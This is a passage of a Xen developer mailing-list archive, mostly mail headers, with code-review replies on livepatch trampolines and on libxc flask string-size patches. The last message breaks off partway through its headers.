>>>> +            PAGE_ALIGN((unsigned long)trampoline + trampoline_code_size);
>>>> +
>>>> +        /*
>>>> +         * Make the payload text area writeable while generating
>>>> +         * the trampoline instructions.
>>>> +         */
>>>> +        rc = modify_xen_mappings(trampoline_start, trampoline_end,
>>>> +                                 PAGE_HYPERVISOR);
>>>> +        if ( rc )
>>>> +        {
>>>> +            printk(XENLOG_ERR LIVEPATCH
>>>> +                   "Failed to make trampoline writable: %d\n", rc);
>>>> +            return;
>>>> +        }
>>> This ought not to be necessary.
>>>
>>> The trampoline is executable code, so should have space reserved for it
>>> in .text of the livepatch.
>>>
>>> Then, you can identify it simply by references in a new section, without
>>> having to have a pointer with a sentinel value (void *)1 in (which MISRA
>>> will have a fit at).
>> I like this idea as well! I'll try this together with the earlier
>> suggestion using __attribute__((no_caller_saved_registers)).
>
>If you reserve space in the function preamble, and use
>__attribute__((no_caller_saved_registers)), then you don't need
>trampolines at all.
>
>The preamble just needs to turn into `call newfunc` when the callback
>function is attached, and then it's regular return will do the right thing.

Understood!

Sincerely,
Ryo Takakura

>~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 09:25:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 09:25:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349646.1607329 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werCH-0004l9-5d; Wed, 01 Jul 2026 09:25:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349646.1607329; Wed, 01 Jul 2026 09:25:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werCH-0004l2-2f; Wed, 01 Jul 2026 09:25:33 +0000
Received: by outflank-mailman (input) for mailman id 1349646;
 Wed, 01 Jul 2026 09:25:31 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1cff582700080a8@swg.vates.tech>)
 id 1werCF-0004kw-0R
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:25:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1werCE-00AMwU-D2
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:25:30 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1cff582700080a8@swg.vates.tech>)
 id 6a44dd04-2eae-0a2a0a5409dd-0a2a450bbb34-20
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:25:30 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1cff582700080a8@swg.vates.tech>)
 id 6a44dd09-ac48-0a2a450b0019-b9ff1c22b30b-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:25:29 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f1cff582700080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 01 Jul 2026 09:25:24 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 6623286596;
 Wed,  1 Jul 2026 11:25:23 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=GfP310Kpdhr5fXTgBNrFPw8Ym4NNFGjbXcVTj6pOR0c=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=H21TdT0tcMuCVnr0FeOW/Kxv30RMncF5D50w4EYh5sNMGqpjFZubpt+51r5sUchij2XrfpRzj
 7SasK9/vgDGZXAmhiPi+3/nNGipO/FCG02Ohucps5fr/NXD7tPPBePXURD2qDkIEX08tyzv0dz4
 OTIQ+Gzg1nBvVxK3DhEqmsxtDzb06baveqqfu1O8cIWaIHFOulUAvoglVDkcSkaKhngeu7z6iQu
 M8ok1t0zvcwk5QFM4OthCI1Q69E1rhOU1AhQuN2Sn/I4PKUtueUVMiuT7O3xoymZb3Vx3P/ssre
 /1opEl2XZO3wEgQ0AaPbf0ha3DVwvHycEa/GUh3HmL2A==
X-Zone-Loop: fb28e5638b9af2533d1de6c05be2a0bb672ba81daa1e
x-campaign-type: default
x-transaction-id: e4c81be3-4b9d-4cc5-9b91-f77009e839ef
x-swg-uid: 01-4a0fa403-ac9b-440c-9a53-ce443b45485c
X-Mailer: Sweego
Message-ID:
 <1782897924.8631fc262581453bbf619ec5b2062170.19f1cff582700080a8@vates.tech>
x-swg-bid: 1782897924.8631fc262581453bbf619ec5b2062170.19f1cff582700080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 1 Jul 2026 11:25:23 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Juergen Gross <jgross@suse.com>,
	Daniel Smith <dpsmith@apertussolutions.com>,
	Marek Marczykowski <marmarek@invisiblethingslab.com>
Subject: Re: [PATCH 2/4] libxc: drop size parameter from
 xc_flask_context_to_sid()
References: <5d242cad-d907-4321-8ac1-363c0f9b623d@suse.com>
 <e2d95536-655d-4ce4-8170-e5be8f5baa99@suse.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <e2d95536-655d-4ce4-8170-e5be8f5baa99@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.9cc.84bee03019fb7e8c.19f1cff55cb.ade99102f6e41f7b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1782897923532
X-purgate-ID: tlsNG-42698a/1782897930-3854C220-9FB4A023/0/0
X-purgate-type: clean
X-purgate-size: 835

---=Part.9cc.84bee03019fb7e8c.19f1cff55cb.ade99102f6e41f7b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 16, 2026 at 11:01:41AM +0200, Jan Beulich wrote:
> --- a/tools/libs/light/libxl_flask=2Ec
> +++ b/tools/libs/light/libxl_flask=2Ec
> @@ -21,7 +21,8 @@ int libxl_flask_context_to_sid(libxl_ctx
>  {
>      int rc;
> =20
> -    rc =3D xc_flask_context_to_sid(ctx->xch, buf, len, ssidref);
> +    assert(len =3D=3D strlen(buf));

Could you return ERROR_INVAL instead? Just in case this is used by
something else than libxl, I'd rather not crash the application=2E

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.9cc.84bee03019fb7e8c.19f1cff55cb.ade99102f6e41f7b=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 09:27:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 09:27:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349655.1607338 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werE9-0005IR-FJ; Wed, 01 Jul 2026 09:27:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349655.1607338; Wed, 01 Jul 2026 09:27:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werE9-0005IK-CO; Wed, 01 Jul 2026 09:27:29 +0000
Received: by outflank-mailman (input) for mailman id 1349655;
 Wed, 01 Jul 2026 09:27:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1d012af000080a8@swg.vates.tech>)
 id 1werE7-0005IB-HJ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:27:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1werE6-0029pA-U0
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:27:26 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1d012af000080a8@swg.vates.tech>)
 id 6a44dd7e-2eae-0a2a0a5409dd-0a2a4508cdf8-0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:27:26 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1d012af000080a8@swg.vates.tech>)
 id 6a44dd7e-edec-0a2a45080019-b9ff1c239a1d-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:27:26 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f1d012af000080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 01 Jul 2026 09:27:23 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id EFC1E86596;
 Wed,  1 Jul 2026 11:27:22 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=v0Oq/0medtw3sWIFv4AgOKqcwlN1SFd1sf3+cKdknjY=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=GjF3DCLlULwNymzJpERSpOOgla89r2GwhwyxthuCdbtU643ZLgESThjgkInB2jKBliR1k1/CU
 1Qsia0oxdx/kBSQof11vZ28FMva/zfCF08mVc7AxSli7jOTrEIE2AnF6+FON3b096PTzX/zpGTI
 Upmu3S05gDV9PaicCEd7hv+tBW+OMm4kxOUZhVrV3Aw85xu8gxYRAr0CKOZmtjIjeqbQMpMnQb7
 B0O2I0o5FB6p+lP9xNpKulLySOBetZRsYmLibLUwnCa9IV0hsFPtX/LMBq0Y3PE4W/QtItJJoCX
 Hs+0ToARv4dGUaKkxvMP0pgyv0Uox1S5zYXvg27dhNqQ==
X-Zone-Loop: 001b24ec1a56cdabcbb35d61b228e048446220dfc4e7
x-campaign-type: default
x-transaction-id: 88ad89b4-7bce-43fb-9c7e-74acc0c48aab
x-swg-uid: 01-a0298d41-4b52-4b98-93a6-fccb53e33bf5
X-Mailer: Sweego
Message-ID:
 <1782898043.8631fc262581453bbf619ec5b2062170.19f1d012af000080a8@vates.tech>
x-swg-bid: 1782898043.8631fc262581453bbf619ec5b2062170.19f1d012af000080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 1 Jul 2026 11:27:22 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: =?iso-8859-1?Q?J=FCrgen_Gro=DF?= <jgross@suse.com>,
	Daniel Smith <dpsmith@apertussolutions.com>,
	Marek Marczykowski <marmarek@invisiblethingslab.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 2/4] libxc: drop size parameter from
 xc_flask_context_to_sid()
References: <5d242cad-d907-4321-8ac1-363c0f9b623d@suse.com>
 <e2d95536-655d-4ce4-8170-e5be8f5baa99@suse.com>
 <33cc1e9d-38c5-44b4-b25b-0f38b625d279@suse.com>
 <2cc83d7a-1e22-4c2f-85ff-7e9daa0876ab@suse.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <2cc83d7a-1e22-4c2f-85ff-7e9daa0876ab@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.9ce.c7b59d80fda33320.19f1d0128c0.cdb4581bb1eb246f=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1782898043073
X-purgate-ID: tlsNG-c1860d/1782898046-40D2B3FC-9334E5B5/0/0
X-purgate-type: clean
X-purgate-size: 1212

---=Part.9ce.c7b59d80fda33320.19f1d0128c0.cdb4581bb1eb246f=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 16, 2026 at 12:00:29PM +0200, Jan Beulich wrote:
> On 16=2E06=2E2026 11:19, J=C3=BCrgen Gro=C3=9F wrote:
> > On 16=2E06=2E26 11:01, Jan Beulich wrote:
> >> Nul-terminated strings are passed in all cases, so the strlen() can v=
ery
> >> well be invoked by the function itself=2E In preparation for a hyperv=
isor
> >> change also include the nul terminator in the size calculation=2E
> >>
> >> Signed-off-by: Jan Beulich <jbeulich@suse=2Ecom>
> >> ---
> >> Ideally libxl_flask_context_to_sid() would follow suit, but aiui doin=
g so
> >> would break its (stable) ABI=2E
> >=20
> > You could use LIBXL_API_VERSION in libxl=2Eh to modify the interface f=
or new
> > libxl versions=2E See how it is done e=2Eg=2E for libxl_domain_create_=
restore()=2E
>=20
> Question being - is this worth the effort?

I don't feel like it is=2E

Cheers,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.9ce.c7b59d80fda33320.19f1d0128c0.cdb4581bb1eb246f=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 09:40:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 09:40:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349668.1607347 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werQY-0001J2-Gk; Wed, 01 Jul 2026 09:40:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349668.1607347; Wed, 01 Jul 2026 09:40:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werQY-0001Iv-Dd; Wed, 01 Jul 2026 09:40:18 +0000
Received: by outflank-mailman (input) for mailman id 1349668;
 Wed, 01 Jul 2026 09:40:16 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1d0ce08600080a8@swg.vates.tech>)
 id 1werQW-0001Hk-QV
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:40:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1werQW-002CCk-3M
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:40:16 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1d0ce08600080a8@swg.vates.tech>)
 id 6a44e07a-5cb7-0a2a0a5109dd-0a2a450ab64a-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:40:15 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f1d0ce08600080a8@swg.vates.tech>)
 id 6a44e07f-e40e-0a2a450a0019-b9ff1c22858d-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:40:15 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f1d0ce08600080a8.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 01 Jul 2026 09:40:11 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5E2A886A8B;
 Wed,  1 Jul 2026 11:40:10 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Q0NZ86XoEQtDgO/Bt6pmVawK/ef9zc1X8PA/DIOIMKE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=HaQ77viuXXBjKc2BLSozESKbLUkbLYrabP9ZdxwVYiAqXaRmg8NGD+OkXnMDdd5GY0Zv6Y/w9
 kR8FqOtw6X68E12RU3V/qDojwkUvoCHsng2b3Ceqwm44y1FdJXxtWvGGqe3d5hFpWMclL/Gy5p5
 2RjcdUcBNS8AueK29kFWTFtCO+ADVm4YX5qxAif2HwB/0jMlcq1x56buG/ymc8FGUILfNYob2Ds
 NgOpexUPqOpEyzjR0+DmK/gb17qe9OsRvVethrAxd+88AXRpGnLB7BRihNWkQeUiXvywpb3/5Of
 ISERp94C/xWEygyDP0Y8/4o2YbGCe3xjU/txdyFULcUg==
X-Zone-Loop: 206e6eefd26d04786358331b3173087080d9c93beb76
x-campaign-type: default
x-transaction-id: eebc37a5-1370-44d7-bc73-1b6af16bd31b
x-swg-uid: 01-1e69a379-7318-4429-9dc9-7375d65692a2
X-Mailer: Sweego
Message-ID:
 <1782898811.8631fc262581453bbf619ec5b2062170.19f1d0ce08600080a8@vates.tech>
x-swg-bid: 1782898811.8631fc262581453bbf619ec5b2062170.19f1d0ce08600080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 1 Jul 2026 11:40:10 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Juergen Gross <jgross@suse.com>,
	Daniel Smith <dpsmith@apertussolutions.com>
Subject: Re: [PATCH 3/4] libxc: adjust string size calculations in
 xc_flask_{getbool_byname,setbool}()
References: <5d242cad-d907-4321-8ac1-363c0f9b623d@suse.com>
 <83af338a-3ef2-4be3-99f0-cfe38a09cda0@suse.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <83af338a-3ef2-4be3-99f0-cfe38a09cda0@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.9f4.89d32d950e70d08e.19f1d0cde6d.b2f2c93736bd6d53=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1782898810477
X-purgate-ID: tlsNG-4011c0/1782898815-D7537DDE-8EFE99C2/0/0
X-purgate-type: clean
X-purgate-size: 794

---=Part.9f4.89d32d950e70d08e.19f1d0cde6d.b2f2c93736bd6d53=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 16, 2026 at 11:02:26AM +0200, Jan Beulich wrote:
> In preparation for a hypervisor change also include the nul terminator i=
n
> the size calculations=2E (Note that xc_flask_getbool_byid() doesn't supp=
ort
> FLASK_GETBOOL's "ID being -1" variant of operation, and hence doesn't ne=
ed
> fiddling with=2E
>=20
> Signed-off-by: Jan Beulich <jbeulich@suse=2Ecom>

Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.9f4.89d32d950e70d08e.19f1d0cde6d.b2f2c93736bd6d53=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 09:56:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 09:56:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349685.1607356 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werfg-0003Of-PH; Wed, 01 Jul 2026 09:55:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349685.1607356; Wed, 01 Jul 2026 09:55:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1werfg-0003OY-M6; Wed, 01 Jul 2026 09:55:56 +0000
Received: by outflank-mailman (input) for mailman id 1349685;
 Wed, 01 Jul 2026 09:55:55 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1werff-0003OO-61
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:55:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1werfe-002rpI-J4
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:55:54 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44e429-2eae-0a2a0a5409dd-0a2a45048970-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:55:54 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44e42a-a01d-0a2a45040019-d155802ac476-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:55:54 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493bfe9f886so2326925e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 02:55:54 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-4756636ce7esm16871279f8f.23.2026.07.01.02.55.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 02:55:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782899754; x=1783504554; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to;
        bh=W6zK63DKcNYjOuOCWSCbY08PInPJq39y+zntVNCWUd8=;
        b=bb1HvOu8lyeFAPBrVRBrC3trbLYdmzWitWi2wE9bJEEMTysfrgnOjJCMJ1f25nq9BB
         LlJwq5E24WDD/nh9dy2z/g8adzPWucaKbD2pH+FSPVusZ9WerYEXELYPa5Gc8t/c8P5J
         LWlyi4rqerdFk+pxIJJyGU2aqfpyjWaFzgCWnJtlH0zE/PUYV05A7MqJl38dzNKhbwU2
         pGd6MOnD1BaWYlf/vbOrEI2awlQ7e4K2/I9ccX8CTlekRkf3xfX7wOkLoSpaJF8+3wpm
         ZqNCj/7q8FlqRvGAVtv6cGaVqOKaivW08bLZUubcp2Zv0toD9kXFuE4Vrtx/uwqyu89W
         VlUg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782899754; x=1783504554;
        h=content-transfer-encoding:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=W6zK63DKcNYjOuOCWSCbY08PInPJq39y+zntVNCWUd8=;
        b=gJoAvz/NBZA1hmiaC6CgnKGI2X7lTXYSdmgBJJVR9R1Bb3uiT9tMZ1Dn3naDHvXLZi
         IBkGqmu3APMyysTN279tx/QcKtvTP1G4EnFt+ICp8ltKITBf0lADejcaMnDYMtVDEBsz
         XE44zsJMcpV8F74o0P8e7l+KfMEsXoIQDS6PitHYj+5I/IyVN4lVNDEfh5xDYKIpysUM
         t99fwRFRvxbZqcBHwhGr75p9nb2lKTaRCKdgH2geB/xgsIIE/TZzkQKcaw3cjKQXqZRA
